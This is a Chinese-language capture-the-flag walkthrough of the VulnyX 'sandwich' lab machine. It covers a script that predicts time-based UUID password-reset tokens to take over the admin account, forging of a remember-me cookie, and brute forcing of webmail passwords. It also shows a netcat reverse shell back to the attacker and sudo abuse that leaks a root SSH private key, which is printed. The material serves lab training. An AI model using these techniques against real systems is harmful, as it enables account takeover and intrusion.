vulnyx靶机 sandwich writeup

image

1.扫描

└─$ sudo nmap -sT -p- -T4 192.168.31.114                                                                                                                                                    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 03:44 EDT                                                                                                                             
Nmap scan report for sandwich (192.168.31.114)                                                                                                                                              
Host is up (0.00051s latency).                                                                                                                                                              
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:23:FE:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
└─$ sudo nmap -sTCV -O -p22,80 192.168.31.114
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 03:44 EDT
Nmap scan report for sandwich (192.168.31.114)
Host is up (0.00023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 4d:30:db:f3:d0:b5:b2:65:8d:3b:08:dc:56:2b:28:b9 (ECDSA)
|_  256 16:9f:f2:7f:ca:5a:a2:03:65:9e:f1:09:ae:15:f7:8b (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Sandwich.nyx | Your Favorite Sandwiches!
MAC Address: 08:00:27:23:FE:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

2.web

image

显然需要添加域名:

192.168.31.114  sandwich.nyx

子域名fuzz:

└─$ wfuzz -c -w ~/Desktop/dict/fuzzDicts-master/subdomainDicts/dic1.txt -u 'http://disguise.hmv' -H 'HOST: FUZZ.disguise.hmv' --hh 7844

结果显示有个子域名webmail.disguise.hmv,添加到hosts文件

192.168.31.114  webmail.sandwich.nyx

测试了一下网站功能,这个站提供了这样的功能:
1.sandwich.nyx提供了登录\注册\重置密码\制作三明治的功能,且注册用户的邮箱的域名必须是sandwich.nyx,重置时会向用户的sandwich.nyx邮箱发送重置链接,用户需要登录webmail.sandwich.nyx进入个人邮箱点击重置链接即可重置密码,且重置链接的token是以uuid生成的.

2.webmail.sandwich.nyx提供了注册\登录的功能,用户可登录自己注册的邮箱查看\发送邮件

漏洞点很明显:
用户可以首先构造一个重置自己密码的请求,然后再构造一个重置admin用户密码的请求,最后再次构造一个重置自己密码的请求,这样,在用户自己的邮箱中,就会有2个重置自己密码的token,虽然看不到admin用户的重置token,但是uuid的生成随时间变化是线性,那么admin的token就在自己的两个token区间内,就可以爆破了.

注册一个用户c@sandwich.nyx,基于这个思路构造脚本:

#coding:utf8

import requests

url = 'http://sandwich.nyx/index.php'

data1 = {
    'email':'c@sandwich.nyx',
    'reset_action':1
        }

cookies1 = {'PHPSESSID':'gkcjkvctcn3d27ucvdh7nnfll4'}
cookies2 = {'PHPSESSID':'aaaaaaaaaaaaaaaaaaaaaaaaaa'}

data2 = {
    'email':'admin@sandwich.nyx',
    'reset_action':1
        }

requests.post(url,cookies=cookies1,data=data1)
requests.post(url,cookies=cookies2,data=data2)
requests.post(url,cookies=cookies1,data=data1)

执行脚本,在用户c的邮箱中出现了两份包含重置链接的邮件:

Sender 	Subject 	Message 	Date
web@sandwich.nyx 	Password Reset Request 	Dear user,

A password reset request has been made for your account. Please use the following link to reset your password:
http://sandwich.nyx/resetpassword.php?token=4ed59840-11f5-11f0-8069-08002723fefb

If you did not request this, please ignore this email. 	2025-04-05 10:09:33
web@sandwich.nyx 	Password Reset Request 	Dear user,

A password reset request has been made for your account. Please use the following link to reset your password:
http://sandwich.nyx/resetpassword.php?token=4ed77afc-11f5-11f0-8069-08002723fefb

If you did not request this, please ignore this email. 	2025-04-05 10:09:33

可以看到其区间范围为:
4ed59840 ~ 4ed77afc
做成字典:

└─$ cat gendict.py 
for i in range(0x4ed59840,0x4ed77afc):
    prefix = hex(i)[2:]
    print(prefix)
python3 gendict.py > dict.txt
└─$ wc -l dict.txt
123580 dict.txt

wfuzz爆破admin用户的token

└─$ wfuzz -c -w dict.txt -u 'http://sandwich.nyx/resetpassword.php' -d 'token=FUZZ-11f5-11f0-8069-08002723fefb&new_password=admin&confirm_password=admin' -b 'PHPSESSID=gkcjkvctcn3d27ucvdh7nnfll4' --hh 420
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://sandwich.nyx/resetpassword.php
Total requests: 123580

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000075721:   200        15 L     41 W       408 Ch      "4ed6c008"                                                                                                                 

Total time: 0
Processed Requests: 123580
Filtered Requests: 123579
Requests/sec.: 0

运行结束后,admin的密码已经被重置为admin了,即可登录.
image

web的非预期解
登录那里有个rememberme,登录普通用户并勾选rememberme,就会返回一个rememberme的cookie,其中内容为用户的邮箱,将其修改为admin@sandwich.nyx,并删除phpsessid,刷新页面,发现也进入了admin的页面.
image
image
登录admin后有个下载按钮,可以下载一份用户制作的三明治的excel表格,里面有5个用户的邮箱.
image
在这里花费了很多时间,没有思路,最后大佬提示,要爆破这5个用户邮箱密码(不是网站密码,网站密码可以利用漏洞重置)

└─$ wfuzz -c -w emails.txt -w ~/Desktop/dict/fuzzDicts-master/passwordDict/top3000.txt -u 'http://webmail.sandwich.nyx/login.php' -d 'email=FUZ1Z&password=FUZ2Z' --sc 302

最后获得一个邮箱用户的凭据:
matthygd_x@sandwich.nyx:qweasd
登录后在收件箱中发现admin发来的ssh登录凭据

Sender 	Subject 	Message 	Date
admin@sandwich.nyx 	SSH user password 	matthygd_xy:tGCD9XIP03IHpSCDdoRu 	2025-03-30 19:00:14

登录后得到user.txt

matthygd_xy@sandwich:~$ cat user.txt
c158efe*********************

提权

登录ssh

matthygd_xy@sandwich:~$ id
uid=1000(matthygd_xy) gid=1000(matthygd_xy) grupos=1000(matthygd_xy),100(users)
matthygd_xy@sandwich:~$ sudo -l
Matching Defaults entries for matthygd_xy on sandwich:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User matthygd_xy may run the following commands on sandwich:
    (root) NOPASSWD: /bin/chvt
matthygd_xy@sandwich:~$ 

/bin/chvt 是一个 Linux 系统中的命令,它的全称是 change virtual terminal,用于切换虚拟终端(VT)。

假设你当前在虚拟终端 2 上,运行以下命令:

/bin/chvt 1

这将把当前会话切换到虚拟终端 1。如果你在虚拟终端 1 上有其他用户登录,那么你将看到该用户的会话。
使用who命令可以查看当前有哪些用户在登录中:

matthygd_xy@sandwich:~$ who
ll104567 tty20        2025-04-05 09:38
matthygd_xy pts/0        2025-04-05 13:15 (192.168.31.98)
matthygd_xy@sandwich:~$ w
 13:17:09 up  3:39,  2 users,  load average: 0,00, 0,00, 0,00
USER     TTY      DESDE            LOGIN@   IDLE   JCPU   PCPU WHAT
ll104567 tty20    -                09:38    3:39m  0.00s   ?    -bash
matthygd pts/0    192.168.31.98    13:15    2.00s  0.01s   ?    w

当普通用户matthygd_xy具有sudo执行chvt的权限,就可以切换其他登录用户的tty,进入其他用户的会话:

sudo chvt 20

在靶机界面就进入了ll104567的会话:
image
反弹回来一个shell

nc -c sh 192.168.31.98 1234

注意在靶机中输入有些字符是乱的,例如-键需要按/才能正常输入

└─$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.31.98] from sandwich.nyx [192.168.31.114] 49942
script -qc /bin/bash /dev/null
ll104567@sandwich:~$ ^Z
zsh: suspended  nc -lvp 1234
                                                                                                                                                                                            
└─$ stty raw -echo;fg        
[1]  + continued  nc -lvp 1234
                              reset xterm
ll104567@sandwich:~$ id
uid=1001(ll104567) gid=1001(ll104567) grupos=1001(ll104567),100(users)
ll104567@sandwich:~$ sudo -l
Matching Defaults entries for ll104567 on sandwich:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ll104567 may run the following commands on sandwich:
    (ALL) NOPASSWD: /opt/game.sh
ll104567@sandwich:~$ 

game.sh的内容是一个猜数字的游戏

#!/bin/bash

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

MAX=2000000

ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}')

/bin/echo "Hello! What is your name?"
read NAME
NUMBER=$(( ( RANDOM % MAX ) + 1 ))

/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX."
/bin/echo "You have $ATTEMPTS attempts to guess it."

ATTEMPTS_MADE=0

SECRET_FILE="/root/.ssh/id_rsa"

while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do
  /bin/echo "Try to guess:"
  read GUESS

  # Validate that the input is a valid number
  if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then
    /bin/echo "Please, enter a valid number."
    continue
  fi

  ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))

  if [ $GUESS -lt $NUMBER ]; then
    /bin/echo "Your guess is too low."
  elif [ $GUESS -gt $NUMBER ]; then
    /bin/echo "Your guess is too high."
  else
    break
  fi
done

if [ $GUESS -eq $NUMBER ]; then
  /bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!"
  /bin/echo "Here's your reward:"
  /bin/cat "$SECRET_FILE"
else
  /bin/echo "No, the number I was thinking of was $NUMBER."
fi
ll104567@sandwich:~$ 

使用二分法猜测,成功后得到root的私钥,

......
Good job, 1000000! You guessed my number in 20 attempts!
Here's your reward:
-----BEGIN OPENSSH PRIVATE KEY-----
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
...........

登录后得到root.txt

ll104567@sandwich:~$ ssh -i rootpriv.key root@localhost
Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 20:14:35 2025 from 192.168.1.181

root@sandwich:~# cat root.txt
a4e728e****************
posted on 2025-04-05 19:51  he110wor1d  阅读(252)  评论(0)    收藏  举报